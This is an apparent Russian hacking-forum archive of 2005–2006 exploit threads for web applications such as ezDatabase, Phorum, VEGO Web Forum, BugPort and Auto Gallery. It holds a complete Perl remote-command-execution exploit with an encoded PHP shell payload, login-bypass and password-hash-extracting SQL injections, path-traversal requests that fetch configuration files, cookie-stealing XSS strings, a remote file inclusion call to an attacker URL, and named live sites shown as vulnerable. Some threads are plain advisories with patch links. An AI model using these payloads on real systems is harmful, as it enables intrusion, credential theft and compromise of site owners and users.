Обнаружена уязвимость в оконном менеджере KDE
переполнение буфера в оконном менеджере KDE
уязвимые версии:
все версии K Desktop Environment начиная с KDE 3.2.0 и вплоть до вышедшего совсем недавно KDE 3.5.0.
Описание:
Проблема кроется в интерпретаторе языка JavaScript веб-браузера Konqueror, являющимся одним из основных приложений KDE.

Ошибка в алгоритме проверки границ адреса дает возможность злоумышленникам вызывать переполнение буфера. Делается это при помощи специально сгенерированной ссылки, содержащей символы UTF-8. Потенциально, эта недоработка авторов Konqueror может позволить запускать произвольный код на компьютерах с установленным KDE. Конечно, если пользователь не работает под привилегированной администраторской учетной записью, то какие-либо серьёзные повреждения системе нанести не получится, но личные данные пользователя всё же будут под угрозой.
решение:
Проблема кроется в интерпретаторе языка JavaScript веб-браузера Konqueror, являющимся одним из основных приложений KDE.

Источник:http://it.slashdot.org

ezDatabase
ID: 67686ba3b4103b69df379e6c
Thread ID: 6684
Created: 2006-01-23T23:11:42+0000
Last Post: 2006-01-24T04:42:45+0000
Author: Winux
Prefix: Web
Replies: 1 Views: 2K

ezDatabase <= 2.0 (db_id) Remote Command Execution Exploit
Новейший эксплойт. Выпущен за 2 часа до момента постинга тут. С системой я не знском, но все равно.

Программа: ezDatabase
Уязвимые версии: Все, вплоть до 2.0
Описание: Уязвимость позволяет выполнять удаленные команды

Code:Copy to clipboard

 #!/usr/bin/perl
#
# ezDatabase Remote Command Execution Exploit
# based on advisory by Pridels Team


#
# Copyright (c) 2006 cijfer <cijfer@netti!fi>
# All rights reserved.
#
# never ctrl+c again.
# cijfer$ http://target.com/dir
# host changed to 'http://target.com/dir'
# cijfer$
#
# $Id: cijfer-ezdbxpl.pl,v 0.1 2006/01/21 019:22:00 cijfer Exp $

use LWP::UserAgent;
use URI::Escape;
use Getopt::Long;
use Term::ANSIColor;

$res = GetOptions("host=s" => \$host, "proxy=s" => \$proxy, "verbose+" => \$verbose);
&usage unless $host;

while()
{
print color("green"), "cijfer\$ ", color("reset");
chomp($command = <STDIN>);
exit unless $command;
if($command =~ m/^http\:\/\/(.*)/g)
{
$host="http://".$1;
print "host changed to '";
print color("bold"), $host."'\n", color("reset");
}
&exploit($command,$host);
}

sub usage
{
print "ezDatabase Remote Command Execution Exploit\n";
print "Usage: $0 -hp [OPTION]...\n\n";
print " -h --host\tfull address of target (ex. http://www.website.com/directory)\n";
print " -p --proxy\tprovide an HTTP proxy (ex. 0.0.0.0:8080)\n";
print " -v --verbose\tverbose mode\n\n";
exit;
}

sub exploit
{
my($command,$host) = @_;

$cij=LWP::UserAgent->new() or die;
$cij->agent("Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:2.0) Gecko/20060101");
$cij->proxy("http", "http://".$tunnel."/") unless !$proxy;

$string = "%65%63%68%6F%20%5F%63%69%6A%66%65%72%5F%3B";
$string .= uri_escape(shift);
$string .= "%3B%20%65%63%68%6F%20%5F%63%69%6A%66%65%72%5F";
$execut = "%3C%3F%24%68%61%6E%64%6C%65%3D%70%6F%70%65%6E";
$execut .= "%5C%28%24%5F%47%45%54%5B%63%69%6A%5D%2C%22%72";
$execut .= "%22%29%3B%77%68%69%6C%65%28%21%66%65%6F%66%28";
$execut .= "%24%68%61%6E%64%6C%65%29%29%7B%24%6C%69%6E%65";
$execut .= "%3D%66%67%65%74%73%28%24%68%61%6E%64%6C%65%29";
$execut .= "%3B%69%66%28%73%74%72%6C%65%6E%28%24%6C%69%6E";
$execut .= "%65%29%3E%3D%31%29%7B%65%63%68%6F%22%24%6C%69";
$execut .= "%6E%65%22%3B%7D%7D%70%63%6C%6F%73%65%28%24%68";
$execut .= "%61%6E%64%6C%65%29%3B%3F%3E";

$out=$cij->get($host."/visitorupload.php?db_id=%3b%73%79%73%74%65%6d%28%24%5f%47%45%54%5b%63%6d%64%5d%29&cmd=".$string);

if($out->is_success)
{
@cij=split("_cijfer_",$out->content);
print substr(@cij[1],1);
}
if($verbose)
{
$recv=length $out->content;
print "Total received bytes: ".$recv."\n";
$sent=length $command;
print "Total sent bytes: ".$sent."\n";
}
}
WebspotBlogging
ID: 67686ba3b4103b69df379e6d
Thread ID: 6685
Created: 2006-01-23T23:38:00+0000
Last Post: 2006-01-23T23:38:00+0000
Author: Winux
Prefix: Web
Replies: 0 Views: 2K

SQL-инъекция в WebspotBlogging

Программа: WebspotBlogging 3.0

Описание:
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения.
Уязвимость существует из-за недостаточной обработки входных данных в параметре "username" сценария "login.php". Удаленный пользователь может с помощью специально сформированного URL выполнить произвольные SQL команды в базе данных приложения. Для успешной эксплуатации уязвимости должна быть отключена опция "magic_quotes_gpc".

Пример/сплойт:
http://host/webspot/login.php
Username: aaaa ' union select 1,2,3,1,1,6, 7/*
Password: any

:zns2: Производитель

BlogPHP
ID: 67686ba3b4103b69df379e6e
Thread ID: 6673
Created: 2006-01-23T07:59:50+0000
Last Post: 2006-01-23T07:59:50+0000
Author: Ŧ1LAN
Prefix: Web
Replies: 0 Views: 2K

SQL-инъекция в BlogPHP
Программа: BlogPHP 1.0
Описание: Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения.

Уязвимость существует из-за недостаточной обработки входных данных в параметре "username" на странице авторизации пользователей. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения. Для успешной эксплуатации уязвимости должна быть выключена опция "magic_quotes_gpc".
Пример:

Code:Copy to clipboard

http://host/index.php? act=login
username: a' or 1/*
password: anypassword

Решение: Способов устранения уязвимости не существует в настоящее время.
:zns2: призводитель
Источник: www.securitylab.ru

PDFdirectory
ID: 67686ba3b4103b69df379e6f
Thread ID: 6672
Created: 2006-01-23T07:57:03+0000
Last Post: 2006-01-23T07:57:03+0000
Author: Ŧ1LAN
Prefix: Web
Replies: 0 Views: 2K

SQL-инъекция в PDFdirectory
Программа: PDFdirectory версии до 1.0
Описание:
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения.

Уязвимость существует из-за недостаточной обработки входных данных перед выполнением SQL запроса. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.
Решение: Установите последнюю версию (1.0) с сайта производителя.
:zns2: произовадитель
Источник: www.securitylab.ru

Kerio WinRoute Firewall
ID: 67686ba3b4103b69df379e70
Thread ID: 6629
Created: 2006-01-20T11:59:41+0000
Last Post: 2006-01-20T11:59:41+0000
Author: Ŧ1LAN
Prefix: DoS
Replies: 0 Views: 2K

Отказ в обслуживании в Kerio WinRoute Firewall
Программа: Kerio WinRoute Firewall версии до 6.1.4 Patch 1
Описание:
Уязвимость позволяет удаленному пользователю вызвать отказ в обслуживании приложения.

1. Уязвимость существует из-за ошибки при обработке определенных данных в контентном HTML фильтре. Удаленный пользователь может вызвать отказ в обслуживании приложения.

2. Обнаружена ошибка при обработке слишком длинных строк, полученных от Active Directory. Злоумышленник может вызвать отказ в обслуживании приложения.
Решение: Установите исправление с сайта производителя.
:zns2: www.kerio.com
Источник:http://www.securitylab.ru/

Auto Gallery
ID: 67686ba3b4103b69df379e72
Thread ID: 6586
Created: 2006-01-18T13:27:07+0000
Last Post: 2006-01-18T13:27:07+0000
Author: Ŧ1LAN
Prefix: Web
Replies: 0 Views: 2K

листинг директорий сервера
программа: Auto Gallery версии 2.21 BETA и предыдущие
платформа: PHP
последствия:
Не достаточная фильтрация пеменной "show" в "autogallery/autogallery.php" дает возможность листинга директорий сервера. Не достаточная фильтрация пеменной "img" в "autogallery/showimage.php" дает возможность скачать любой файл с сервера. Не достаточная фильтрация пеменной "gallery" в "autogallery/upload.php" дает возможность загрузка файлов в любую директорию сервера.
описание:
Уязвимый код находится в файле "autogallery/autogallery.php"

Code:Copy to clipboard

...
$selElement = rawurldecode($_GET['show']);
$selElement = stripslashes($selElement);
...

Запрос http://[TARGET]/autogallery/autogallery.php?show=..%2F%00
дает возможность просмотреть список файлов директории

Уязвимый код находится в файле "autogallery/showimage.php"

Code:Copy to clipboard

...
require_once(dirname(__FILE__)."/def.php");
$image = stripslashes(rawurldecode($_GET['img']));
$imageInfo = AutoGal_GetElementInfo($image);
$image = $imageInfo['abspath'];
AutoGal_DrawImage($image);
...

Запросом http://[TARGET]/autogallery/showimage.php?img=../../../e107_config.php
мы скачиваем файл http://[TARGET]/e107_config.php с настройками CMS и MySQL
и так можно любой другой файл сервера зная точный путь.

Уязвимый код находится в файле "autogallery/upload.php"

Code:Copy to clipboard

...
$selGallery = stripslashes(rawurldecode($_GET[\'gallery\'] ? $_GET[\'gallery\'] : $_POST[\'gallery\']));
...

Можно подделать запрос добавив &gallery=..%2FLog%2F и закачать файл в любую другую директорию с правами вэб сервера.
решение: Способов устранения уязвимости не существует в настоящее время.
:zns2: Сerebral Synergy
Источник:http://ivdb.org/
Уязвимость обнаружил: Одинокий Волк aka Lonely Wolf

QuickTime
ID: 67686ba3b4103b69df379e73
Thread ID: 6496
Created: 2006-01-13T05:29:49+0000
Last Post: 2006-01-13T05:29:49+0000
Author: Ŧ1LAN
Prefix: Remote
Replies: 0 Views: 2K

Множественные уязвимости в QuickTime.
Программа: QuickTime версии до 7.0.4 для Windows и Mac OS X
Описание:
Обнаруженные уязвимости позволяют удаленному пользователю вызвать отказ в обслуживании приложения или выполнить произвольный код на целевой системе.

1. Переполнение динамической памяти обнаружено при обработке QTIF изображений. Удаленный пользователь может выполнить произвольный код на целевой системе.

2. Несколько целочисленных переполнений обнаружено при обработке TGA изображений. Удаленный пользователь может выполнить произвольный код на целевой системе.

3. Переполнение целочисленных обнаружено при обработке TIFF изображений. Удаленный пользователь может выполнить произвольный код на целевой системе.

4. Переполнение динамической памяти обнаружено при обработке GIF изображений. Удаленный пользователь может выполнить произвольный код на целевой системе.

5. Переполнение динамической памяти обнаружено при обработке некоторых форматов изображений. Удаленный пользователь может выполнить произвольный код на целевой системе.

Решение: Установите последнюю версию с сайта производителя

:zns2: производитель

Источник: www.securitylab.ru

Microsoft Exchange & Microsoft Outlook
ID: 67686ba3b4103b69df379e74
Thread ID: 6476
Created: 2006-01-12T04:41:31+0000
Last Post: 2006-01-12T04:41:31+0000
Author: Great
Prefix: Remote
Replies: 0 Views: 2K

Программа: Microsoft Exchange 2000/5/5.5, Microsoft Outlook 2000/2002/2003

Опасность: Критическая
Наличие эксплоита: Нет
Описание : Уязвимость в Microsoft Outlook / Exchange позволяет злонамеренному пользователю скомпрометировать уязвимую систему.

Переполнение буфера обнаружено при декодировании Transport Neutral Encapsulation Format (TNEF) MIME вложений. В результате возможно удаленно выполнить произвольный код когда пользователь открывает или просматривает специально обработанное TNEF email сообщение или когда Microsoft Exchange Server Information Store обрабатывает это сообщение.

:zns2: Microsoft.com

Решение:

-- Microsoft Office 2000 Service Pack 3 --

Microsoft Outlook 2000:
http://www.microsoft.com/downloads/details...24-9F6BA2108CB9

Microsoft Office 2000 MultiLanguage Packs:
http://www.microsoft.com/downloads/details...31-9E83E3E0823D

Microsoft Outlook 2000 English MultiLanguage Packs:
http://www.microsoft.com/downloads/details...31-9E83E3E0823D

-- Microsoft Office XP Service Pack 3 --

Microsoft Outlook 2002:
[http://www.microsoft.com/downloads/details...BC- AF501562772D](http://www.microsoft.com/downloads/details.aspx?FamilyId=9A85CEBB-0D9A-465D-A4BC- AF501562772D)

Microsoft Office XP Multilingual User Interface Packs:
http://www.microsoft.com/downloads/details...98-C58DC328182B

-- Microsoft Office 2003 Service Pack 1 and Service Pack 2 --

Microsoft Outlook 2003:
http://www.microsoft.com/downloads/details...42-3C4E3B832788

Microsoft Office 2003 Multilingual User Interface Packs:
http://www.microsoft.com/downloads/details...E5-B2A753EED854

Microsoft Office 2003 Language Interface Packs:
http://www.microsoft.com/downloads/details...19-9980ecd6874a

-- Microsoft Exchange Server --

Microsoft Exchange Server 5.0 Service Pack 2:
http://www.microsoft.com/downloads/details...49-81FA362B251F

Microsoft Exchange Server 5.5 Service Pack 4:
http://www.microsoft.com/downloads/details...32-D2E73AF62427

Microsoft Exchange 2000 Server Pack 3 (with the Exchange 2000 Post-Service Pack 3 Update Rollup of August 2004):
http://www.microsoft.com/downloads/details...59-9B90344EDC02

Источник: SecurilyLab

PHP 4.4.1 для windows
ID: 67686ba3b4103b69df379e76
Thread ID: 6387
Created: 2006-01-07T05:55:58+0000
Last Post: 2006-01-07T05:55:58+0000
Author: Ŧ1LAN
Prefix: Local
Replies: 0 Views: 2K

PHP <= 4.4.0 mysql_connect() Local Buffer Overflow Exploit
Цель эксплоита: PHP 4.4.0 для Windows и более ранние версии
Описание:
Уязвимость позволяет удаленному пользователю выполнить произвольный код на целевой системе.

Уязвимость обнаружена в функции "HANDLE create_named_pipe()" в файле "libmysql.c". Удаленный пользователь может передать функции mysql_connect специально сформированный параметр "server", вызвать переполнение стека и выполнить произвольный код на целевой системе.

код эксплоита: смотреть

Intel "ialmrnt5" Graphics Accelerator драйвер
ID: 67686ba3b4103b69df379e77
Thread ID: 6352
Created: 2006-01-05T06:35:57+0000
Last Post: 2006-01-05T06:35:57+0000
Author: Ŧ1LAN
Prefix: DoS
Replies: 0 Views: 2K

Отказ в обслуживании в Intel "ialmrnt5" Graphics Accelerator драйвере
Программа: Intel 82915G/82910GL Express Chipset Family
Описание:
Уязвимость позволяет удаленному пользователю вызвать отказ в обслуживании системы.

Уязвимость существует из-за ошибки в драйвере "ialmrnt5" при обработке большого количества текста в текстовом поле. Удаленный пользователь может с помощью специально сформированного URL перезагрузить систему или установить низкое разрешение монитора.

Решение: Способов устранения уязвимости не существует в настоящее время.
:zns2: Производитель
font=Times]Источник: www.securitylab.ru[/font]

Cisco Secure ACS
ID: 67686ba3b4103b69df379e78
Thread ID: 6350
Created: 2006-01-05T06:25:39+0000
Last Post: 2006-01-05T06:25:39+0000
Author: Ŧ1LAN
Prefix: Remote
Replies: 0 Views: 2K

Обход ограничений безопасности в Access Control Server
Программа:
Cisco Secure ACS Version 4.0.1
PIX version 6.3(5)
PIX/ASA 7.0(2)
Cisco IOS Software Version 12.3(8)T4
VPN 3000 versions 4.0.5.B and 4.1.5.B
Описание:
Уязвимость позволяет удаленному пользователю обойти ограничения безопасности.

Ошибка дизайна обнаружена в модуле Downloadable IP ACL (Access Control List). Удаленный пользователь может удачно пройти процесс аутентификации в RAS/NAS (Remote Access Server/Network Access Server), используя в качестве имени пользователя название Downloadable IP ACL. Удачная эксплуатация уязвимости возможна, если атакующий знает название Downloadable IP ACL, которое можно получить, прослушав трафик между RAS/NAS и ACS.

Решение: Способов устранения уязвимости не существует в настоящее время. В качестве временного решения следуйте инструкциям производителя.

:zns2: Производитель

Источник: www.securitylab.ru

Primo Cart
ID: 67686ba3b4103b69df379e79
Thread ID: 6339
Created: 2006-01-04T10:30:59+0000
Last Post: 2006-01-04T10:30:59+0000
Author: Ŧ1LAN
Prefix: Web
Replies: 0 Views: 2K

SQL-инъекция в Primo Cart
Программа: Primo Cart 1.0
Описание:
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения.

Уязвимость существует из-за недостаточной обработки входных данных в параметре "q" сценария "search.php" и параметре "email" сценария "user.php". Удаленный пользователь может с помощью специально сформированного URL выполнить произвольные SQL команды в базе данных приложения.
Пример:

Code:Copy to clipboard

/user.php?email=[SQL]&action=send-password-now
/search.php?action=search&q=[SQL]

Решение: Способов устранения уязвимости не существует в настоящее время.
:zns2: Производитель

Источник: www.securytilab.ru

VEGO Links Builder
ID: 67686ba3b4103b69df379e7a
Thread ID: 6322
Created: 2006-01-03T08:13:49+0000
Last Post: 2006-01-03T08:13:49+0000
Author: Ŧ1LAN
Prefix: Web
Replies: 0 Views: 2K

SQL-инъекция в VEGO Links Builder
Программа: VEGO Links Builder 2.0
Описание:
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения.

Уязвимость существует из-за недостаточной обработки входных данных в параметре "username" на странице аутентификации. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения. Удачная эксплуатация уязвимости возможна при выключенной опции "magic_quotes_gpc".
Пример:

Code:Copy to clipboard

Link:
http://host/links/login.php

username: a' or 'a'='a'/*
password: anypassword

Решение: Способов устранения уязвимости на данный момент не существует.

:zns2: Производитель
Источник(1): www.securitylab.ru
Источник(2): evuln.com

VEGO Web Forum
ID: 67686ba3b4103b69df379e7b
Thread ID: 6320
Created: 2006-01-03T05:47:40+0000
Last Post: 2006-01-03T05:47:40+0000
Author: Ŧ1LAN
Prefix: Web
Replies: 0 Views: 2K

SQL-инъекция в VEGO Web Forum
Программа: VEGO Links Builder 1.26
Описание: Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения.

Уязвимость существует из-за недостаточной обработки входных данных в параметре "theme_id". Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.
Эксплоит:

Code:Copy to clipboard

Administrator's login name.

For version 1.26:
[url=http://hostname/webforum/index.php]http://hostname/webforum/index.php[/url]? theme_id=-1% 20union%20select% 201,2,name, 4,5%20from% 20vwf_users% 20where%20userid=1/*

Earlier versions:
[url=http://hostname/temp/_1/webforum/index.php]http://hostname/temp/_1/webforum/index.php[/url]? theme_id=-1% 20union%20select% 201,2,name, 4%20from%20vwf_users% 20where%20userid=1/*

Code:Copy to clipboard

Hash of administrator's password.

For version 1.26:
[url=http://hostname/webforum/index.php]http://hostname/webforum/index.php[/url]? theme_id=-1% 20union%20select% 201,2,name, 4,5%20from% 20vwf_users% 20where%20userid=1/*

Earlier versions:
[url=http://hostname/temp/_1/webforum/index.php]http://hostname/temp/_1/webforum/index.php[/url]? theme_id=-1% 20union%20select% 201,2,pass, 4%20from%20vwf_users% 20where%20userid=1/*

Решение: Способов устранения уязвимости на данный момент не существует.
:zns2: Производитель
Источник(1):www.securitylab.ru
Источник(2):evuln.com

BugPort
ID: 67686ba3b4103b69df379e7c
Thread ID: 6319
Created: 2006-01-03T05:36:08+0000
Last Post: 2006-01-03T05:36:08+0000
Author: Ŧ1LAN
Prefix: Web
Replies: 0 Views: 2K

Межсайтовый скриптинг и SQL-инъекция в BugPort
Программа: BugPort 1.147 и более ранние версии
Описание:
Уязвимость позволяет удаленному пользователю произвести XSS нападение и выполнить произвольные SQL команды в базе данных приложения.

1. SQL-инъекция возможна из-за недостаточной обработки входных данных в параметрах "orderBy", "where" и "devWherePair[1][0]" сценария "index.php". Удаленный пользователь может с помощью специально сформированного URL выполнить произвольные SQL команды в базе данных приложения.
Пример:

Code:Copy to clipboard

/index.php?view=DevelopmentItemResultsView&devWherePair
%5B0%5D=state_id+%3C+%3F++AND++MATCH+%28report%2Csubjec
t%2Cdevelplan%2Cfixednotes%2Crepsteps%29+AGAINST+%28%3F
++IN+BOOLEAN+MODE%29&devWherePair%5B1%5D%5B0%5D=[SQL] 

/index.php?view=DevelopmentItemResultsView&where=project
_id+%3D+%3F&orderBy=[SQL]

/index.php?view=DevelopmentItemResultsView&where=[SQL]

2. Уязвимость существует из-за недостаточной обработки входных данных в некоторых параметрах в сценарии "index.php". Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.
Пример:

Code:Copy to clipboard

/index.php?view=AddToFavoriteItemSetView&ids%5B0%5D=[XSS] 

/index.php?view=AddRelatedDevelopmentItemFormView&report_id
=9&action=[XSS]

/index.php?view=AddRelatedDevelopmentItemFormView&report_
id=[XSS]

/index.php?view=DevelopmentItemResultsView&devWherePair
%5B0%5D=state_id+%3C+%3F++AND++MATCH+%28report%2Csub
ject%2Cdevelplan%2Cfixednotes%2Crepsteps%29+AGAINST
+%28%3F++IN+BOOLEAN+MODE%29&devWherePair%5B1%5D%5B0%5D
=240&devWherePair%5B1%5D%5B1%5D=[XSS]

/index.php?view=DevelopmentItemResultsView&where=project
_id+%3D+%3F&orderBy=priority_id+DESC&binds%5B0%5D=[XSS]

:zns2: Производитель
Источник: www.securitylab.ru

Уязвимости: GFHost / GmailSite
ID: 67686ba3b4103b69df379e7e
Thread ID: 6237
Created: 2005-12-30T07:31:19+0000
Last Post: 2005-12-30T07:31:19+0000
Author: Ŧ1LAN
Prefix: Web
Replies: 0 Views: 2K

Межсайтовый скриптинг GFHost / GmailSite
Программа :
GFHost 0.4.2
GmailSite 1.0.4
Описание
Уязвимость позволяет удаленному пользователю произвести XSS нападение.

Уязвимость существует из-за недостаточной обработки входных данных в параметре "lng" сценария "index.php". Удаленный пользователь может с помощью специально сформированного URL выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.
Пример

Code:Copy to clipboard

http://[VICTIM]/?lng=es"><script>alert(document.cookie)</script>
http://[VICTIM]/index.php?lng=es"><script>alert(document.cookie)</script>

Патч на момент постинга не вышел

:zns2: Производитель

[mod][Winux:] Называй темы нормально, в другой раз минус схватишь.[/mod]

Perlshop баги
ID: 67686ba3b4103b69df379e7f
Thread ID: 5997
Created: 2005-12-19T13:36:49+0000
Last Post: 2005-12-19T13:36:49+0000
Author: durito
Prefix: Web
Replies: 0 Views: 2K

Межсайтовый скриптинг Perlshop < 4.5.01
Вот обнаружил несколько проблем в скипте perlshop.cgi version 4.4.01
и более ранних.

Software: Perlshop < 4.5.01
Vendor: Waverider Systems www.WaveriderSystems.com
Vulnerability: раскрытие инсталяционного пути и межсайтовый
скриптинг
Risk: низкий
Date: 19.12.2005
discovered by durito -durito[at]mail[dot]ru-
HTTP: www.lwb57.org
durito.narod.ru

+~~~:| Details |:

Раскрытие версии скрипта:
http://www.xxx.com/cgi-bin/store/perlshop.cgi/*

Раскрытие инсталяционного пути:
[http://www.xxx.com/cgi- bin/store/perlshop....ID=!ORDERID](http://www.xxx.com/cgi- bin/store/perlshop.cgi?action=ENTER&thispage=1&ORDER_ID=!ORDERID)!
вставляем любой символ в параметр thispage.

Альтернативное раскрытие инсталяционного пути:
[http://www.xxx.com/cgi- bin/store/perlshop....ID=!ORDERID](http://www.xxx.com/cgi- bin/store/perlshop.cgi?action=ENTER&thispage=durito.html&ORDER_ID=!ORDERID)!
В параметре thispage запрашиваем любой несуществующий файл,
например durito.html и смотрим исходный код страницы:

The page (/home/studios/public_html/catalog/1.html) you have requested is not available.

Межсайтовый скриптинг:
[http://www.xxx.com/cgi- bin/store/perlshop....ello](http://www.xxx.com/cgi- bin/store/perlshop.cgi?action=

Hello

)
[http://www.xxx.com/cgi- bin/store/perlshop....ello](http://www.xxx.com/cgi- bin/store/perlshop.cgi?ORDER_ID=

Hello

)
Так же межсайтовый скриптинг возможен в системе поиска Perlshop.

Примеры:

[http://www.hollywoodcostumesandparty.com/c.../perlshop.cgi/](http://www.hollywoodcostumesandparty.com/cgi- bin/store/perlshop.cgi/)
[http://hollywoodcostumesandparty.com/cgi-b...ID=!ORDERID](http://hollywoodcostumesandparty.com/cgi- bin/store/perlshop.cgi?action=ENTER&thispage=1&ORDER_ID=!ORDERID)!
[http://hollywoodcostumesandparty.com/cgi-b...ID=!ORDERID](http://hollywoodcostumesandparty.com/cgi- bin/store/perlshop.cgi?action=ENTER&thispage=1.html&ORDER_ID=!ORDERID)!
[http://www.hollywoodcostumesandparty.com/c...EHello%3C/h1%3E](http://www.hollywoodcostumesandparty.com/cgi- bin/store/perlshop.cgi?ORDER_ID=%3Ch1%3EHello%3C/h1%3E)

[http://hollywoodcostumesandparty.com/cgi-b...ID=!ORDERID](http://hollywoodcostumesandparty.com/cgi- bin/store/perlshop.cgi?action=%3Ch1%3EHello%3C/h1%3E&thispage=;id|&ORDER_ID=!ORDERID)!

Дыры в Q-News
ID: 67686ba3b4103b69df379e82
Thread ID: 5767
Created: 2005-11-30T17:56:53+0000
Last Post: 2005-11-30T17:56:53+0000
Author: Winux
Prefix: Web
Replies: 0 Views: 2K

PHP инклюдинг в Q-News

Уязвимость позволяет удаленному пользователю выполнить произвольные команды на целевой системе.

Уязвимость обнаружена при обработке входных данных в параметре "id" сценария "q-news.php". Удаленный пользователь может с помощью специально сформированного URL выполнить произвольный PHP сценарий на целевой системе с привилегиями web сервера.

Сплойт:

Code:Copy to clipboard

http://[target]/path_to_qnews/q-news.php?id=http://[attacker_url]
Баги eFiction
ID: 67686ba3b4103b69df379e83
Thread ID: 5765
Created: 2005-11-30T17:55:30+0000
Last Post: 2005-11-30T17:55:30+0000
Author: Winux
Prefix: Web
Replies: 0 Views: 2K

Множественные уязвимости в eFiction

Обнаруженные уязвимости позволяют удаленному пользователю получить доступ к потенциально важным данным, произвести XSS нападение и SQL-инъекцию и выполнить произвольный PHP сценарий на системе.

1. Межсайтовый скриптинг возможен из-за недостаточной обработки входных данных в параметре "let" сценария "titles.php". Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный HTML код в браузере жертвы в контексте безопасности уязвимого сайта.

2. SQL-инъекция возможна из-за недостаточной обработки входных данных в параметрах “let”, “sid” и “uid” в различных сценариях. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольные SQL команды в базе данных приложения.

3. Уязвимость в "Manage Images" позволяет удаленному пользователю загрузить валидные изображения с произвольным расширением. Удаленный пользователь может загрузить валидное изображение, содержащее PHP код и выполнить его с привилегиями web сервера.

4. Удаленный пользователь может запросить сценарий "phpinfo.php" и получить потенциально важную информацию о системе.

:zns2: Сплойт

Phorum
ID: 67686ba3b4103b69df379e84
Thread ID: 5512
Created: 2005-11-11T19:42:02+0000
Last Post: 2005-11-11T19:42:02+0000
Author: Winux
Prefix: Web
Replies: 0 Views: 2K

SQL-injection в Phorum 5.0.20
Уязвимость находится в файле search.php

Эксплоит:
http://localhost/phorum520/search.php?1,search=a,page=1,match_type=ALL,
match_dates=30,match_forum=ALL,body=1,author=1,subject=1,&forum_ids[]=-99)
/
/UNION//ALL//SELECT//1,password,3,4,5,6,7,8,9,10,11,12,13,14,15,
16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,21,32/
/FROM//phorum_users
/
/WHERE//admin=1//LIMIT//1/*

1. "register_globals" должны быть включены.
2. "search=a" - эта запись должна возвращать результат поиска.
3. "SELECT/**/1,password" - первый номер в инъекции, в нашем случае "1",
должен быть "forum_id" в результатах поиска.

ATutor
ID: 67686ba3b4103b69df379e86
Thread ID: 5443
Created: 2005-11-04T08:44:48+0000
Last Post: 2005-11-04T08:44:48+0000
Author: Winux
Prefix: Web
Replies: 0 Views: 2K

Множественные уязвимости в ATutor 1.5.1-pl1 и более ранние версии
![](/proxy.php?image=http%3A%2F%2Fatutor.ca%2Fimages%2Fat- logo.v.3.gif&hash=eff6af392b8f6ef320da6c9e8875112c)
Обнаруженные уязвимости позволяют удаленному пользователю выполнить произвольные команды, просмотреть файлы и произвести XSS нападение.

1. Уязвимость существует при обработке входных данных в параметрах "addslashes", "asc" и "desc" сценария include/html/forum.inc.php. Удаленный пользователь может выполнить произвольную PHP функцию на системе с любыми параметрами. Удачная эксплуатация уязвимости возможна при включенной опции register_globals в конфигурационном файле PHP. Пример:

Code:Copy to clipboard

http://[host]/include/html/forum.inc.php?
addslashes=[function]&asc=[parameter]

http://[host]/include/html/forum.inc.php?
addslashes=[function]&desc=[parameter]

2. Обход каталога возможен из-за недостаточной обработки входных данных в параметре section в сценариях body_header.inc.php и print.php. Удаленный пользователь может с помощью символов обхода каталога просмотреть произвольные файлы на системе. Пример:

Code:Copy to clipboard

http://[host]/documentation/common/
body_header.inc.php?section=[file]%00

http://[host]/documentation/common/
print.php?section=[file]%00

3. Межсайтовый скриптинг возможен из-за недостаточной обработки входных данных в параметре _base_href сценария admin/translate.php, параметре _base_path сценария include/html/editor_tabs/news.inc.php и параметре "p" сценария documentation/add_note.php. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольный HTML сценарий в браузере жертвы в контексте безопасности уязвимого сайта.

Elite Forum
ID: 67686ba3b4103b69df379e87
Thread ID: 5441
Created: 2005-11-04T08:37:16+0000
Last Post: 2005-11-04T08:37:16+0000
Author: Winux
Prefix: Web
Replies: 0 Views: 2K

Межсайтовый скриптинг в Elite Forum ( <=1.0.0.0)
Уязвимость позволяет удаленному пользователю произвести XSS нападение и получить доступ к потенциально важным данным других пользователей.

Уязвимость обнаружена при обработке входных данных. Удаленный пользователь может создать специально сформированное сообщение и выполнить произвольный HTML код в браузере жертвы в контексте безопасности уязвимого сайта.

Примеры:

Code:Copy to clipboard

< img src="javascript:void(window.location=('imagelink'))"> - Replace the imagelink with the link to the image you want to redirect the users viewing the topic containing this code.

<img src="javascript:a=100;while(a>=0){alert(a);a--}">

<img src="javascript:a=1;while(a>0){alert("sup?")">

:zns2: [Производитель](http://firestorm.all- interviews.com/index.php?act=eliteforum)

Snitz Forums 2000
ID: 67686ba3b4103b69df379e88
Thread ID: 5439
Created: 2005-11-04T08:33:36+0000
Last Post: 2005-11-04T08:33:36+0000
Author: Winux
Prefix: Web
Replies: 0 Views: 2K

Межсайтовый скриптинг в Snitz Forums 2000

Уязвимость позволяет удаленному пользователю произвести XSS нападение и получить доступ к потенциально важным данным других пользователей.

Уязвимость существует при обработке входных данных в параметре type сценария post.asp. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольный HTML код в браузере жертвы в контексте безопасности уязвимого сайта.

Баг есть в Snitz Forums 2000 3.4.05 и более ранних версиях

Примеры:

Code:Copy to clipboard

http://[host]/snitz/post.asp?method=Topic
&FORUM_ID=1&CAT_ID=1&type=[code]

:zns2: Производитель

Simple PHP Blog
ID: 67686ba3b4103b69df379e89
Thread ID: 5438
Created: 2005-11-04T08:31:01+0000
Last Post: 2005-11-04T08:31:01+0000
Author: Winux
Prefix: Web
Replies: 0 Views: 2K

XSS в Simple PHP Blog
Уязвимость позволяет удаленному пользователю произвести XSS нападение и получить доступ к потенциально важным данным других пользователей.

